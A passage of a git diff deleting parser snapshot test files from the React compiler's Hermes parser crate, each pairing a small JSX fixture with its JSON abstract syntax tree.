-        "loc": null,
-        "range": [
-          55,
-          127
-        ]
-      },
-      "loc": null,
-      "range": [
-        40,
-        127
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "NoForget",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          138,
-          146
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            147,
-            152
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    166,
-                    169
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  165,
-                  170
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        171,
-                        176
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "noForget",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        177,
-                        185
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      171,
-                      185
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    170,
-                    186
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    188,
-                    191
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  186,
-                  192
-                ]
-              },
-              "loc": null,
-              "range": [
-                165,
-                192
-              ]
-            },
-            "loc": null,
-            "range": [
-              158,
-              193
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          154,
-          195
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        129,
-        195
-      ],
-      "loc": null,
-      "range": [
-        129,
-        195
-      ]
-    },
-    {
-      "type": "ExportNamedDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "Foo",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            213,
-            216
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              217,
-              222
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "ExpressionStatement",
-              "expression": {
-                "type": "StringLiteral",
-                "value": "use forget",
-                "loc": null,
-                "range": [
-                  228,
-                  240
-                ]
-              },
-              "directive": null,
-              "loc": null,
-              "range": [
-                228,
-                241
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      252,
-                      255
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    251,
-                    256
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          257,
-                          262
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          263,
-                          266
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        257,
-                        266
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      256,
-                      267
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      269,
-                      272
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    267,
-                    273
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  251,
-                  273
-                ]
-              },
-              "loc": null,
-              "range": [
-                244,
-                274
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            224,
-            276
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          204,
-          276
-        ],
-        "loc": null,
-        "range": [
-          204,
-          276
-        ]
-      },
-      "specifiers": [],
-      "source": null,
-      "loc": null,
-      "range": [
-        197,
-        276
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    276
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-function.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-function.js.snap
deleted file mode 100644
index 24d0f5df7e09..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test-export-function.js.snap
+++ /dev/null
@@ -1,514 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/gating-test-export-function.js
----
-Input:
-// @gating @compilationMode(annotation)
-export function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-export function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ExportNamedDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "Bar",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            56,
-            59
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              60,
-              65
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "ExpressionStatement",
-              "expression": {
-                "type": "StringLiteral",
-                "value": "use forget",
-                "loc": null,
-                "range": [
-                  71,
-                  83
-                ]
-              },
-              "directive": null,
-              "loc": null,
-              "range": [
-                71,
-                84
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      95,
-                      98
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    94,
-                    99
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          100,
-                          105
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          106,
-                          109
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        100,
-                        109
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      99,
-                      110
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      112,
-                      115
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    110,
-                    116
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  94,
-                  116
-                ]
-              },
-              "loc": null,
-              "range": [
-                87,
-                117
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            67,
-            119
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          47,
-          119
-        ],
-        "loc": null,
-        "range": [
-          47,
-          119
-        ]
-      },
-      "specifiers": [],
-      "source": null,
-      "loc": null,
-      "range": [
-        40,
-        119
-      ]
-    },
-    {
-      "type": "ExportNamedDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "NoForget",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            137,
-            145
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              146,
-              151
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": null,
-                    "range": [
-                      165,
-                      168
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    164,
-                    169
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          170,
-                          175
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "noForget",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          176,
-                          184
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        170,
-                        184
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      169,
-                      185
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": null,
-                    "range": [
-                      187,
-                      190
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    185,
-                    191
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  164,
-                  191
-                ]
-              },
-              "loc": null,
-              "range": [
-                157,
-                192
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            153,
-            194
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          128,
-          194
-        ],
-        "loc": null,
-        "range": [
-          128,
-          194
-        ]
-      },
-      "specifiers": [],
-      "source": null,
-      "loc": null,
-      "range": [
-        121,
-        194
-      ]
-    },
-    {
-      "type": "ExportNamedDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "Foo",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            212,
-            215
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              216,
-              221
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "ExpressionStatement",
-              "expression": {
-                "type": "StringLiteral",
-                "value": "use forget",
-                "loc": null,
-                "range": [
-                  227,
-                  239
-                ]
-              },
-              "directive": null,
-              "loc": null,
-              "range": [
-                227,
-                240
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      251,
-                      254
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    250,
-                    255
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          256,
-                          261
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          262,
-                          265
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        256,
-                        265
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      255,
-                      266
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      268,
-                      271
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    266,
-                    272
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  250,
-                  272
-                ]
-              },
-              "loc": null,
-              "range": [
-                243,
-                273
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            223,
-            275
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          203,
-          275
-        ],
-        "loc": null,
-        "range": [
-          203,
-          275
-        ]
-      },
-      "specifiers": [],
-      "source": null,
-      "loc": null,
-      "range": [
-        196,
-        275
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    275
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test.js.snap
deleted file mode 100644
index 3c83c15474dc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@gating-test.js.snap
+++ /dev/null
@@ -1,484 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/gating-test.js
----
-Input:
-// @gating @compilationMode(annotation)
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Bar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          52
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            53,
-            58
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                64,
-                76
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              64,
-              77
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    88,
-                    91
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  87,
-                  92
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        98
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        99,
-                        102
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      93,
-                      102
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    92,
-                    103
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    105,
-                    108
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  103,
-                  109
-                ]
-              },
-              "loc": null,
-              "range": [
-                87,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              80,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          60,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        112
-      ],
-      "loc": null,
-      "range": [
-        40,
-        112
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "NoForget",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          123,
-          131
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            132,
-            137
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    151,
-                    154
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  150,
-                  155
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        156,
-                        161
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "noForget",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        162,
-                        170
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      156,
-                      170
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    155,
-                    171
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    173,
-                    176
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  171,
-                  177
-                ]
-              },
-              "loc": null,
-              "range": [
-                150,
-                177
-              ]
-            },
-            "loc": null,
-            "range": [
-              143,
-              178
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          139,
-          180
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        114,
-        180
-      ],
-      "loc": null,
-      "range": [
-        114,
-        180
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          191,
-          194
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            195,
-            200
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                206,
-                218
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              206,
-              219
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    230,
-                    233
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  229,
-                  234
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        235,
-                        240
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        241,
-                        244
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      235,
-                      244
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    234,
-                    245
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    247,
-                    250
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  245,
-                  251
-                ]
-              },
-              "loc": null,
-              "range": [
-                229,
-                251
-              ]
-            },
-            "loc": null,
-            "range": [
-              222,
-              252
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          202,
-          254
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        182,
-        254
-      ],
-      "loc": null,
-      "range": [
-        182,
-        254
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    254
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@global-jsx-tag-lowered-between-mutations.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@global-jsx-tag-lowered-between-mutations.js.snap
deleted file mode 100644
index 55387038588a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@global-jsx-tag-lowered-between-mutations.js.snap
+++ /dev/null
@@ -1,222 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/global-jsx-tag-lowered-between-mutations.js
----
-Input:
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  // NOTE: this will produce invalid output.
-  // The HIR is roughly:
-  //                                   ⌵ mutable range of `maybeMutable`
-  // StoreLocal maybeMutable = ...     ⌝
-  // t0 = LoadGlobal View              ⎮ <-- View is lowered inside this mutable range
-  //                                         and thus gets becomes an output of this scope,
-  //                                         gets promoted to temporary
-  // t1 = LoadGlobal maybeMutate       ⎮
-  // t2 = LoadLocal maybeMutable       ⎮
-  // t3 = Call t1(t2)                  ⌟
-  // t4 = Jsx tag=t0 props=[] children=[t3] <-- `t0` is an invalid tag
-  return <View>{maybeMutate(maybeMutable)}</View>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "maybeMutable",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      67
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              70
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    722,
-                    726
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  721,
-                  727
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "maybeMutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        728,
-                        739
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "maybeMutable",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          740,
-                          752
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      728,
-                      753
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    727,
-                    754
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "View",
-                  "loc": null,
-                  "range": [
-                    756,
-                    760
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  754,
-                  761
-                ]
-              },
-              "loc": null,
-              "range": [
-                721,
-                761
-              ]
-            },
-            "loc": null,
-            "range": [
-              714,
-              762
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          764
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        764
-      ],
-      "loc": null,
-      "range": [
-        0,
-        764
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    764
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-Boolean.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-Boolean.js.snap
deleted file mode 100644
index 0e9530bb6186..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-Boolean.js.snap
+++ /dev/null
@@ -1,207 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/globals-Boolean.js
----
-Input:
-function Component(props) {
-  const x = {};
-  const y = Boolean(x);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "Boolean",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      63
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        64,
-                        65
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    66
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  66
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              67
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    79
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    82
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                77,
-                83
-              ]
-            },
-            "loc": null,
-            "range": [
-              70,
-              84
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          86
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        86
-      ],
-      "loc": null,
-      "range": [
-        0,
-        86
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    86
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-Number.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-Number.js.snap
deleted file mode 100644
index 050eca3313a5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@globals-Number.js.snap
+++ /dev/null
@@ -1,207 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/globals-Number.js
